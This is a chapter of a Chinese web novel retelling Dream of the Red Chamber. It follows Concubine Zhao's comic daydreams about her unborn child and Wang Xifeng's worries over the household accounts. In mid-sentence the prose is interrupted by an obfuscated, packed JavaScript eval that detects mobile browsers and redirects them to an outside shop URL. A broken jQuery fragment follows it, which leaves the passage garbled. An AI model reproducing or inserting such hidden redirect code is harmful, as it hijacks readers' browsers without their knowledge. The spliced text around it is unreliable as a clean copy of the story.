426.二一三下 梦黄粱遐思总成空
作品:《雪落红楼万芳春》 赵姨娘神神秘秘地道:“你以为是甚么缘故儿?我瞧着,多半同那不得了的命格儿有关系——你想呀,这大年初一的生日,多么巧呢!就凭这个,皇上只怕也要高看她几眼。可见这生辰上头实在也有些讲究,一个人有没有福气啊,从一落生起,便定下了,若不为这个,怎么合婚总要瞧八字,可见是有的。”
小鹊不知道赵姨娘怎么好好的突然就议论起贾元春了,这一位如今尊贵无比,她们这些人是不可议论的,若有什么口风儿传了出去,这可不是顽的,恐怕太太第一个不肯放过。
依着小鹊往日里对这位混不吝的姨奶奶的了解,下头的话还指不定往哪个方向拐弯儿呢,还是规劝着些的好,这样想了想,便道:“说起咱们娘娘的生辰来,自然是巧的,但毕竟只是讨个口彩,到底皇上看重谁,只怕也不这样简单,别的我也不懂,想来娘娘的品貌性情儿才是要紧的罢。姨奶奶想,每一日这世上有数不清的人要生下孩子来,大年初一那一日也不例外,难道这一日生日的个个都是娘娘那样的好福气么,我看也不见得呢。”
赵姨娘却早已沉浸在自己的“新发现”里,完全没有将小鹊这几句话听进去,自顾自琢磨了一阵,忽然一骨碌爬起来,将小鹊惊了一跳,以为她肚子痛要发动了,忙上前按住,上下打量了一番,见赵姨娘除了有些莫名的兴奋外,倒是神色如常,这才道:“我的好姨奶奶哟,什么话不能慢慢地说?您可慢着点儿。”
赵姨娘不理她,顺势便拉着小鹊的手,眼睛发亮,笃定道:“我晓得了!”
小鹊心下大叹,早上忘了看黄历,今日是不是诸事不宜?姨奶奶不消停歇着,这又是晓得什么了?
以过往的经验来看,似姨奶奶这种突如其来的灵机一动,多半不是什么好事,只不知这位祖宗奶奶又要作什么梦幻奇想了?她心里拿不准,不免有些忐忑,嘴上却将语气尽量放得柔和,试探性地问道:“姨奶奶晓得什么了?不要急,慢慢地说罢。”
赵姨娘抬手轻轻抚了抚肚子,自信地道:“前后换了几个大夫,又是掐脉、又是推月份,都说我在这个月上半旬一准儿是要生的。可你瞧,我这肚子偏是安安静静的,半点动静儿也没有,她们都在那里着急,却都说不出个缘由。嘿,如今我却知道了,全是这孩子自己的主意——他的主意大着呢!”
小鹊睁大眼睛看着她,有点儿不想听她后面的话了,赵姨娘却认真道:“你想,如今既然已经是腊月初九,离正月不过也只有不到一个月的光景儿了,十几二十日罢了,又急甚么,他且要耐心等上一等,没准儿便也能做个大年初一的生日呢!”
小鹊紧紧抿着嘴,不敢说一个字。
赵姨娘双眼透亮,目视窗外檐上慢慢垂落的水滴,脸上满是憧憬之色。
她似乎已瞧见自己通身皆是富贵妆饰,怀里抱着大年初一诞下的吉祥贵子,在正房接受众人道贺的样子。
在这并不算太长的一生里,她从来没有过如此风光得意的念想,府里那些尊重、艳羡的眼光,奉承、讨好的言语,从未有一刻投向过她,此刻哪怕只是在心里想上一想,做上几刻朦胧的白日梦,都觉得极为舒适。
赵姨娘面上露出极喜欢的神情,喃喃地道:“太太能生得出,我便生不出么,没有这样的道理。若我也生一个大年初一生日的孩子,还是个小子,到时候看看谁还能瞧低了我们娘儿几个。”
小鹊长长地叹了口气。
事事要与太太争胜,这已然成了姨奶奶的心结了。可人家太太只怕从来没将她们这位姨奶奶放在眼睛里。
小鹊心里明白,太太能得府里众人敬重,除了一个老爷正室太太的身份外,更重要的是她身后的家世地位,令人尊敬的是那个世代宦途顺遂的王家,难道是靠大姑娘的生辰么?
偏偏她们这位姨奶奶拎不清,总在屋里琢磨来琢磨去,把心思用在这些没用的地方,暗戳戳地同太太较劲,在太太不知道的地方,今日觉得胜过太太半分,明日又输一寸的,说起来也有些可怜。便真是让她如愿得了一个大年初一生的小公子,众人稀罕一回,又能怎么样?
难道为了这个把太太赶下来、把正头夫人给姨奶奶做么?
小鹊忙道:“姨奶奶,我才想起来,前儿姨奶奶爱的那香露,还剩了一点子,虽是不多,总是能够兑一碗水的,姨奶奶不是说今儿胀气厉害?喝了润一润,只怕就好了。”
这是要转移她的注意力,可赵姨娘却仍沉浸住自己的奇思妙想中,一边做着白日美梦,一边打着圈儿轻抚自己的肚子,低声同孩子说着话,甚么香露臭露的,这会子没工夫儿搭理那些个。
半晌,赵姨娘的指尖儿忽然摁住下腹上一处,神色一顿,觉得似乎与往日有些不同,又反复摸了几遍,十分诧异,忙道:“小鹊,你来瞧,我在肚子这里,喏,就是这里,摸到一处是硬硬的,唔,怎么似乎还会活动似的,方才还不记得有呢,你来摸试试。”
小鹊一听,简直要将魂魄吓飞到九霄云外去了,生怕赵姨娘有什么闪失,忙凑近了来看,声音也有些发颤,强自镇定道:“别急、别急,怎么硬硬的?是才有的么?早上有没有?如今可是觉得痛么?除了这里,还有哪里不舒服么?嗳、嗳!我快叫人来罢。”
赵姨娘顺着小鹊的话,闭着眼睛将全身感受了一遍,摇头道:“倒是没有不舒服,肚子也不疼、也不坠,就是这一处硬硬的,又仿佛不是死的,喏,慢慢推着还能动。”
听见说没有不舒服,小鹊这才稍稍放下心来,她却不敢上手去摸赵姨娘的肚子,只又小心将赵姨娘脸上细细看过一遍,瞧她全无痛苦不适的神色,红润润的一切如常,这才道:“姨奶奶好生在这里歇着,千万别起身,我还是出去叫人传个大夫,不,传两个大夫来罢,如今月份大了,可不敢有什
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413096|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么闪失,总是有人来瞧一瞧才放心。”
赵姨娘却是一脸若有所思的表情,蓦地像是突然想到什么一般,脸上现出喜色,一面用手反复在腹上摸着,似乎在确认什么,越确认越是高兴,一面叫住小鹊道:“别去、别去,不要声张!我知道了——好事、好事!只怕是这个孩儿也要学宝玉那样,要从胎里衔下什么宝贝来罢!”
小鹊心里发愁,这位姨奶奶啊,只怕是魔怔了!才刚想着要让这孩子同娘娘一般赶个吉利的生日,这会子又要他同宝二爷一样、要从胎里带出宝物了,真是异想天开。
小鹊虽然没读过什么书,却也知道“物以稀为贵”的道理。宝二爷那件事之所以稀罕,就是因为是从古到今未有听说过的,若是人人都能从胎里带出宝贝来,你一件儿、我一件儿的,还稀罕么?
赵姨娘哪里知道小鹊的心思,两手只顾在小腹上盘桓摸索,眼里满是期盼,嘴里神神叨叨地念着:“是个什么宝贝呢?是块玉呢,还是宝珠?乖孩儿,让娘摸摸、让娘摸摸……”
谁知就这样经由她反复打圈推揉之下,腹部这团硬处竟然渐渐松散开来,活动得愈加明显,不知突然是哪一下力道巧合,本来堵着发硬的一团竟然消散了,赵姨娘还不待有所反应,肚里叽里咕噜一阵乱响,竟一连放了几个响屁,在安静的室内显得格外清晰。
赵姨娘愣在当地,忙再去摸时,腹上原来那处硬硬的触感已全然摸不到了,她转过脸来,与同样惊呆了的小鹊眼对着眼,两人一时都忘了说话。
室内极静,只有炭盆里偶尔哔卜一声。
半晌,还是小鹊先反应过来,抿了抿嘴,小心翼翼地问道:“姨奶奶,这会子还胀气不?”
---
腊月十四这日夜里,各处都安歇了,万籁俱寂,凤姐却仍未回房,在平常处理家务的耳房坐着。屋里生着炭盆,格外多点了几盏灯,凤姐披着一件大衣裳,照例叫彩明在一旁将账本一条一条念来她听。
平儿静静地坐在一旁,手里拈着针,慢慢地串着一盘珠子,偶尔向凤姐投去担忧的一瞥。
彩明打点精神念着,方念至一节末,凤姐道:“得了,这一阵还像些样子。今儿就到这,你先回去罢,明儿我有事,你晚半个时辰再来,若等不着时,恐怕我忘了,你使个人进去提着我。”
这倒是这些日子以来夜工结束最早的一日,彩明也难得能早歇,答应了一声,高兴地去了。
平儿上来将蜡烛剪了,催促凤姐也去休息。
凤姐将刚才彩明念的那本账簿拿在手里,她常年看账,大约的字也都能识得了,此时翻过一页,以手点着给平儿看,叹道:“原本还指着几位庄头送来的这批年货,我想着往年很有几条好皮子,给老太太裁个帽子,再做几条好抹额给几个王妃送过去,人情也齐全了,喏,谁知只有这些,统共不过往年的一半数量,这够什么使?”

